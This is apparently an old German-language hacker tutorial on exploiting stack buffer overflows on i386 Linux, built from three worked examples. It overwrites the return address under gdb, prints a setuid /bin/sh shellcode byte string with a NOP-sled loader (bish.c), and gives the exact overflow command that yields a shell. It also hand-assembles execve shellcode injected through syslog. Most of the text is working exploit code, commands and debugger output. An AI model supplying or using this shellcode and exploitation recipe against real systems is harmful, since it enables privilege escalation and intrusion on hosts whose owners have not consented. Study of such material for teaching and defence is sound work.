\======================================= ~ B U F F E R O V E R F L O W S ~ =======================================/ !@# martin.wyss@forgotten.ch --[ Contents 1 - Einführung 2 - Buffer Overflows -B0F Example ONE -B0F Example TWO -B0F Example THREE 3 - References 0x00 --[ Einführung Ich will in diesem Artikel auf die grundlegende Einführung von Buffer Overflows verzichten, da ich es nicht für notwendig empfinde sie nochmals zusammenzufassen. Ich möchte gleich an praktischen Beispielen zeigen, wie Buffer Overflows entstehen & wie man sie ausnutzen kann. 0x01 --[ B0F Example ONE Buffer Overflows treten auf bei Programmierfehler oder Benutzterfehler. Ein Puffer läuft über, wenn die Daten die enthalten sind zu gross in einem zu kleinen Puffer sind. Die Datenbereiche welche an den Puffer angrenzen werden somit überschrieben. Ein Beispiel ist dynamischer Speicher welcher mit der malloc(3) angefordert wurde. Wenn dieser falsch Beschrieben wurde, können die Verwaltungsdaten verändert werden. Dies kann sich zuerst gar nicht bekennbar machen, jedoch evtl. später wenn durch free() dieser Speicherbereich freigegeben wird. Eine grössere Gefahr als das abstürzen des Programmes besteht darin, wenn der aufgerufene Prozess unkontrolliert weiterläuft. Ich werde bald auf ein paar Beispiele kommen um dies verständlich zu machen. Im Folgenden werde ich auf den statischen Puffer lenken, der auf dem Stack liegt. Der Stack ist der Speicherbereich, auf dem die automatischen Variablen angelegt werden. +----+----+----+----+----+ <------- | c | b | a | BP | IP | niedrige +----+----+----+----+----+ hohe Adressen Adressen Auch zum speichern von Funktionsargumenten und Registern wird der Stack verwendet. Der Stack ist die Datenstruktur, bei welchem nur das oberste Element gelesen wird, bzw. oben angesetzt wird. Der Base Pointer (BP) ist nun ein solches Register, der sich den Wert des Stack Pointers (SP) zu einem bestimmten Zeitpunkt merkt. Das Folgenden Beispiel zeigt eine Funktion, welche drei Variablen vom Typen int auf den Stack gelegt hat: foo() { int a; int b; int c; } Es wird selten passieren, dass man eine solche int Variable zu viel auf den Stack schreibt. Häufiger jedoch, dass man ein Array als char (Puffer) hat. Bei Arrays besteht hier jedoch die Möglichkeit, dass man hinter die Speichergrenze schreiben kann. Haben wir also Folgende Funktion, kann man sich leicht ausdenken, dass der Aufruf von strcpy(3) eine schlechte Idee ist; bar() { char buf[10]; strcpy(buf, "Dies ist ein ordentlich langer String."); } Man kann feststellen, dass ein Array aus 10 char in Wirklichkeit 12 Byte beanspruchen, weil auf i386 genau 32Bit = 4Byte haben. Wenn jetzt strcpy(3) den zu langen String in das kleine Array schreibt, passen die ersten 10 Zeichen wunderbar rein. Die nächsten 2 passen auch noch rein, weil ja der Platz des Array mit 12 veranschlagt wurde. Jedoch die nächsten vier überschreiben den alten Base Pointer (BP), und die darauffolgenden 4 überschreiben auch noch den Instruction Pointer (IP). Als Beispiel ergibt sich ein Segmention fault martin@segfault:~$ ./bar Segmentation fault (core dumped) Der Sinn besteht jetzt, den Instruction Pointer (IP) neu zu überschreiben: int baz(void) { int b; b = 10; return b; } int main(void) { int a = 5; baz(); a++; printf("a ist %i.\n", a); return 0; } Die Ausgabe dieses Programms ist "a ist 6". Wir wollen jetzt die Funktion baz() so verändern, dass "a" auf "5" bleibt int baz(void) { int b; *(&b + 2) += 3; return b; } martin@segfault:~$ ./baz a ist 5. Wir haben nun die Variable b verwendet, welche die Adresse auf dem obersten Elements des Stacks erhaltet. +----+----+----+ | b | BP | IP | --> main() +----+----+----+ 0x02 --[ B0F Example TWO Ein weiteres Beispiel eines Buffer OVerflows: --------bof.c------------ #include int main(int argc, char * argv[]) { char buf[256]; if(argc == 1) { printf("Usage: %s input\n", argv[0]); exit(0); } strcpy(buf,argv[1]); printf("%s", buf); } --------end bof.c---------- Starten wir das Programm und sehen uns das Ergebniss an martin@segfault:~$ ./bof Usage: ./bof input Ok, geben wir bof einen Input martin@segfault:~$ ./bof bob bob Hier sehen wir, dass es bob als Input nahm, es in den Puffer kopierte und es uns so mittels printf("%s", buf); ausgab. Geben wir dem Programm nun mehr Input als es verarbeiten kann martin@segfault:~$ ./bof `perl -e 'print "A" x 272'` Segmentation fault (core dumped) Hier hilft uns gdb weiter martin@segfault:~$ gdb -c core ./bof Core was generated by ./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) info reg eax 0xa 10 ecx 0x40014000 1073823744 edx 0x400fe660 1074783840 ebx 0x400ffed4 1074790100 esp 0xbffff910 0xbffff910 ebp 0x41414141 0x41414141 esi 0x4000acb0 1073786032 edi 0xbffff954 -1073743532 eip 0x4000ade1 10737435320 eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 Wie wir sehen wird unser ebp mit 0x41414141 überschrieben. Wir wollten aber doch den eip überschreiben?! Der ebp und der eip sind beide 4 Bytes, und somit haben wir nur den ebp überschrieben. Also wenn wir's nun um 4 Bytes vergrössern können wir der eip überschreiben. Kurz dargestellt wie das Memory Layout aussieht __|__ | | | EBP | - 4 byte address |_____| __|__ | | | EIP | - next 4 byte address |_____| martin@segfault:~$ ./bof `perl -e 'print "A" x 264'` Segmentation fault (core dumped) martin@segfault:~$ gdb -c core ./bof Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) info reg eax 0xa 10 ecx 0x40014000 1073823744 edx 0x400fe660 1074783840 ebx 0x400ffed4 1074790100 esp 0xbffff910 0xbffff910 ebp 0x41414141 0x41414141 esi 0x4000acb0 1073786032 edi 0xbffff954 -1073743532 eip 0x41414141 0x41414141 eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x2b 43 gs 0x2b 43 Wie wir hier nun sehen wurde der eip überschrieben! Anhand unseres Beispiels bof.c wissen wir nun wie wir durch den Overflow den eip überschreiben können. Jetzt wollen wir aber durch diesen Overflow eine shell ausführen lassen --------bish.c------------ #include char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid() */ "\xeb\x5a\x5e\x31\xc0\x88\x46\x07\x31\xc0\x31\xdb\xb0\x27\xcd" "\x80\x85\xc0\x78\x32\x31\xc0\x31\xdb\x66\xb8\x10\x01\xcd\x80" "\x85\xc0\x75\x0f\x31\xc0\x31\xdb\x50\x8d\x5e\x05\x53\x56\xb0" "\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89\x5e\x08\x89\x46\x0c\x50" "\x8d\x4e\x08\x51\x56\xb0\x3b\x50\xcd\x80\x31\xc0\x8d\x1e\x89" "\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\xe8\xa1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { char bish[512]; memset(bish,0x90,512); memcpy(&bish[512-strlen(shellcode)],shellcode,strlen(shellcode)); memcpy(bish,"BISH=",5); putenv(bish); execl("/bin/bash","bash",'\0'); return(0); } --------end bish.c---------- martin@segfault:~$ cc bish.c -o bish ; martin@segfault:~$ ./bish martin@segfault:~$ Wir müssen jetzt das Programm nochmals Overflowen, jedoch nicht den eip mit 0x41414141 überschreiben. Jedoch zuerst müssen wir die Adresse des Shellcodes herausfinden martin@segfault:~$ ./bof `perl -e 'print "A" x 264'` Segmentation fault (core dumped) martin@segfault:~$ gdb -c core ./bof Core was generated by `./bof AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? () (gdb) x/s $esp 0xbffff7b0: "ë\222\004@\001" (gdb) 0xbffff7b6: "" ... 0xbffffcbe: "MAIL=/var/spool/mail/martin" (gdb) 0xbffffcdc: "BISH=", '\220' ... (gdb) 0xbffffdc2: '\220' ... (gdb) x/x 0xbffffdc2 0xbffffdc2: 0x90909090 Die NOPS sind in diesem Beispiel hier: 0xbffffdc2: '\220' ... Wir müssen jetzt diese Adresse in little endian konvertieren. Um dies zu bewerkstelligen schreiben wir es rückwärts 0xbffffdc2 - 0x = bffffdc2 (0 wird nicht mehr gebraucht) bffffdc2 rückwärts= c2fdffbf Wir adden zu jedem Byte \x c2 fd ff bf = \xc2\xfd\xff\xbf So haben wir unseren Shellcode um den eip zu überschreiben martin@segfault:~$ ./bof `perl -e 'print "A" x 260'``printf "\xc2\xfd\xff\xbf"` sh-2.05$ 0x03 --[ B0F Example THREE --------syslog_test_1.c------------ #include char buffer[4028]; void main() { int i; for (i=0; i<=4028; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } --------end syslog_test_1.c---------- Compilieren wir das Programm und sehen uns das Ergebniss an martin@segfault:~$ gcc -g syslog_test_1.c -o buf martin@segfault:~$ ./buf Segmentation fault (core dumped) Schauen wir uns das Ergebniss in gdb an martin@segfault:~$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 11, Segmentation fault 0x1273 in vsyslog (0x41414141, 0x41414141, 0x41414141, 0x41414141) Ok, wir sehen dass die 41's die Hex Äquivalents sind für 'A' (gdb) info all-registers eax 0xefbfd641 -272640447 ecx 0x00000000 0 edx 0xefbfd67c -272640388 ebx 0xefbfe000 -272637952 esp 0xefbfd238 0xefbfd238 ebp 0xefbfde68 0xefbfde68 esi 0xefbfd684 -272640380 edi 0x0000cce8 52456 eip 0x00001273 0x1273 ps 0x00010212 66066 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39 Der Befehl info all-registers zeigt die Werte in den aktuellen Hardware registern. Was uns momentan nur interessiert ist der eip (gdb) disassemble 0x1273 [stuff deleted] 0x1267 : incl 0xfffff3dc(%ebp) 0x126d : testb %al,%al 0x126f : jne 0x125c 0x1271 : jmp 0x1276 0x1273 : movb %al,(%ebx) 0x1275 : incl %ebx 0x1276 : incl %edi 0x1277 : movb (%edi),%al 0x1279 : testb %al,%al Ok, verändern wir doch unseren alten Source syslog_test_1.c -------------syslog_test_2.c------------- #include char buffer[4028]; void main() { int i; for (i=0; i<2024; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } -----------end syslog_test_2.c------------- martin@segfault:~$ gcc -g buf.c -o buf martin@segfault:~$ gdb buf gdb) run Starting program: /usr2/home/syslog/buf Program received signal 5, Trace/BPT trap 0x1001 in ?? (Error accessing memory address 0x41414149: Cannot allocate memory. (gdb) info all-registers eax 0xffffffff -1 ecx 0x00000000 0 edx 0x00000008 8 ebx 0xefbfdeb4 -272638284 esp 0xefbfde70 0xefbfde70 ebp 0x41414141 0x41414141 <---- esi 0xefbfdec0 -272638272 edi 0xefbfdeb8 -272638280 eip 0x00001001 0x1001 ps 0x00000246 582 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39 Wir sehen, dass wir noch 4 Bytes zu unserem Puffer hinzufügen müssen, um den eip zu überschreiben ---------syslog_test_3.c---------------- #include char buffer[4028]; void main() { int i; for (i=0; i<2028; i++) buffer[i]='A'; syslog(LOG_ERR, buffer); } -------end syslog_test_3.c------------ martin@segfault:~$ gcc -g buf.c -o buf martin@segfault:~$ gdb buf (gdb) run Starting program: /usr2/home/syslog/buf Program received signal 11, Segmentation fault 0x41414141 in errno (Error accessing memory address 0x41414149: Cannot allocate memory. (gdb) info all-registers eax 0xffffffff -1 ecx 0x00000000 0 edx 0x00000008 8 ebx 0xefbfdeb4 -272638284 esp 0xefbfde70 0xefbfde70 ebp 0x41414141 0x41414141 esi 0xefbfdec0 -272638272 edi 0xefbfdeb8 -272638280 eip 0x41414141 0x41414141 ps 0x00010246 66118 cs 0x0000001f 31 ss 0x00000027 39 ds 0x00000027 39 es 0x00000027 39 fs 0x00000027 39 gs 0x00000027 39 Okey, wir sehen dass eip beim Buffer[2024] anfängt und durch Buffer[2027] geht. (gdb) disassemble buffer .. 0xc738 : incl %ecx 0xc739 : incl %ecx 0xc73a : incl %ecx 0xc73b : incl %ecx 0xc73c : addb %al,(%eax) 0xc73e : addb %al,(%eax) 0xc740 : addb %al,(%eax) .. ------nop.c-------- void main(){ __asm__("nop\n"); } ----end nop.c------ martin@segfault:~$ gcc -g nop.c -o nop martin@segfault:~$ gdb nop (gdb) disassemble main Dump of assembler code for function main: to 0x1088: 0x1080 : pushl %ebp 0x1081 : movl %esp,%ebp 0x1083 : nop 0x1084 : leave 0x1085 : ret 0x1086 : addb %al,(%eax) End of assembler dump. (gdb) x/bx 0x1083 0x1083 : 0x90 Weil nop ist bei 0x1083 und der nächste bei 0x1084, wissen wir dass nop nur ein Byte braucht ------ syslog_test_4.c--------- #include char buffer[4028]; void main() { int i; for (i=0; i<2024; i++) buffer[i]=0x90; i=2024; buffer[i++]=0x3c; buffer[i++]=0xc7; buffer[i++]=0x00; buffer[i++]=0x00; syslog(LOG_ERR, buffer); } ------end syslog_test_4.c------- Wir brauchen später den eip rückwärts von 0000c73c --> 3c c7 00 00 ------execute.c-------- #include main() { char *name[2]; name[0] = "sh"; name[1] = NULL; execve("/bin/sh",name,NULL); } ----end execute.c------- martin@segfault:~$ gcc -g execute.c -o execute martin@segfault:~$ ./execute sh-2.05$ Ok, execute funktioniert martin@segfault:~$ gdb execute (gdb) disassemble main Dump of assembler code for function main: to 0x10b8: 0x1088 : pushl %ebp 0x1089 : movl %esp,%ebp 0x108b : subl $0x8,%esp 0x108e : movl $0x1080,0xfffffff8(%ebp) 0x1095 : movl $0x0,0xfffffffc(%ebp) 0x109c : pushl $0x0 0x109e : leal 0xfffffff8(%ebp),%eax 0x10a1 : pushl %eax 0x10a2 : pushl $0x1083 0x10a7 : call 0x10b8 0x10ac : leave 0x10ad : ret 0x10ae : addb %al,(%eax) 0x10b0 : jmp 0x1140 0x10b5 : addb %al,(%eax) 0x10b7 : addb %cl,0x3b05(%ebp) End of assembler dump. (gdb) disassemble execve Dump of assembler code for function execve: to 0x10c8: 0x10b8 : leal 0x3b,%eax 0x10be : lcall 0x7,0x0 0x10c5 : jb 0x10b0 0x10c7 : ret End of assembler dump. Ok, 0x1083 enthält den /bin/sh string und ist der Letzte, der auf den Stack gebracht wird (gdb) x/10bc 0x1083 0x1083 : 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\000' Wir werden die Adresse dann ergänzen wo unser String sein wird. Hier die Assembler Struktur die wir verwenden werden [main] 0x108d : movl %esp,%ebp 0x108e : movl $0x1083,0xfffffff8(%ebp) 0x1095 : movl $0x0,0xfffffffc(%ebp) 0x109c : pushl $0x0 0x109e : leal 0xfffffff8(%ebp),%eax 0x10a1 : pushl %eax 0x10a2 : pushl $0x1080 [execve] 0x10b8 : leal 0x3b,%eax 0x10be : lcall 0x7,0x0 Ok, wir werden jetzt das Programm mit jump verstezen jmp 0x???? # irgendwo XY popl %esi popl %ecx Und von diesem undefinierten Ort XY aus ein jump back call 0x???? Im Ganzen wird es dann so aussehen ---------------------------------------------------------------------- movl %esp,%ebp xorl %eax,%eax jmp 0x???? # irgendwo # -------------[main] movl $0x????,0xfffffff8(%ebp) # irgendwo # irgendwo movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffff8(%ebp),%eax pushl %eax pushl $0x???? # irgendwo # irgendwo # ------------[execve] leal 0x3b,%eax lcall 0x7,0x0 call 0x???? # irgendwo ---------------------------------------------------------------------- Weil wir execve nicht mit einem 'call' definiert haben, müssen wir den Wert in ecx auf dem Stack simulieren # ------------[execve] pushl %ecx leal 0x3b,%eax lcall 0x7,0x0 Weil wir die Adresse für den 'bin/sh'\0' String kennen, sieht das Ganze so aus movl %esp,%ebp xorl %eax,%eax jmp 0x???? popl %esi popl %ecx movl $0x????,0xfffffff5(%ebp) movl $0x0,0xfffffffc(%ebp) pushl $0x0 leal 0xfffffffc(%ebp),%eax pushl %eax pushl $0x???? leal 0x3b,%eax pushl %ecx lcall 0x7,0x0 call 0x???? Um die Bytes herauszufinden für den Puffer, laden wir nochmals gdb martin@segfault:~$ gdb execute (gdb) disassemble main Dump of assembler code for function main: to 0x10bc: 0x108c : pushl %ebp 0x108d : movl %esp,%ebp 0x108f : subl $0x8,%esp <------ 0x1092 : movl $0x1080,0xfffffff8(%ebp) 0x1099 : movl $0x0,0xfffffffc(%ebp) 0x10a0 : pushl $0x0 0x10a2 : leal 0xfffffff8(%ebp),%eax 0x10a5 : pushl %eax 0x10a6 : pushl $0x1083 0x10ab : call 0x10bc 0x10b0 : leave 0x10b1 : ret 0x10b2 : addb %al,(%eax) 0x10b4 : jmp 0x1144 0x10b9 : addb %al,(%eax) 0x10bb : addb %cl,0x3b05(%ebp) End of assembler dump. 0x108d : movl %esp,%ebp Dies geht von 0x108d zu 0x108e. 0x108f gibt den nächsten Befehl (gdb) x/2bx 0x108d 0x108d : 0x89 0xe5 Wir kennen jetzt, dass buffer[2028]=0x89 und buffer[2029]=0xe5 ist 0x108c : pushl %ebp 0x108d : movl %esp,%ebp 0x108f : subl $0x8,%esp (gdb) x/bx 0x108c 0x108c : 0x55 (gdb) x/bx 0x108d 0x108d : 0x89 (gdb) x/bx 0x108e 0x108e : 0xe5 (gdb) x/bx 0x108e 0x108f : 0x83 ----pop.c------- void main() { __asm__("popl %esi\n"); } ---end pop.c---- martin@segfault:~$ gcc -g pop.c -o pop martin@segfault:~$ gdb pop (gdb) disassemble main Dump of assembler code for function main: to 0x1088: 0x1080 : pushl %ebp 0x1081 : movl %esp,%ebp 0x1083 : popl %esi 0x1084 : leave 0x1085 : ret 0x1086 : addb %al,(%eax) End of assembler dump. (gdb) x/bx 0x1083 0x1083 : 0x5e Ok, 0x5e ist popl %esi (gdb) break syslog Breakpoint 1 at 0x1463 (gdb) run Starting program: /usr2/home/syslog/buf Breakpoint 1, 0x1463 in syslog (0x00000003, 0x0000bf50, 0x0000082c, 0xefbfdeac) (gdb) disassemble 0xc73c 0xc77f Dump of assembler code from 0xc73c to 0xc77f: 0xc73c : movl %esp,%ebp 0xc73e : xorl %eax,%eax 0xc740 : jmp 0xc76b 0xc742 : popl %esi 0xc743 : popl %ecx 0xc744 : movl $0xc770,0xfffffff5(%ebp) 0xc74b : movl $0x0,0xfffffffc(%ebp) 0xc752 : pushl $0x0 0xc754 : leal 0xfffffffc(%ebp),%eax 0xc757 : pushl %eax 0xc758 : pushl $0xc773 0xc75d : leal 0x3b,%eax 0xc763 : pushl %ecx 0xc764 : lcall 0x7,0x0 0xc76b : call 0xc742 0xc770 : jae 0xc7da 0xc772 : addb %ch,(%edi) 0xc774 : boundl 0x6e(%ecx),%ebp 0xc777 : das 0xc778 : jae 0xc7e2 0xc77a : addb %al,(%eax) 0xc77c : addb %al,(%eax) 0xc77e : addb %al,(%eax) End of assembler dump. (gdb) x/13bc 0xc770 0xc770 : 115 's' 104 'h' 0 '\000' 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' xc778 : 115 's' 104 'h' 0 '\000' 0 '\000' 0 '\000' martin@segfault:~$ ./buf sh-2.05$ 0x04 --[ References http://community.corest.com/~gera/InsecureProgramming/ http://kerneltrap.org/node/3759/ http://l0t3k.org/programming/docs/b0f/ ==EOF==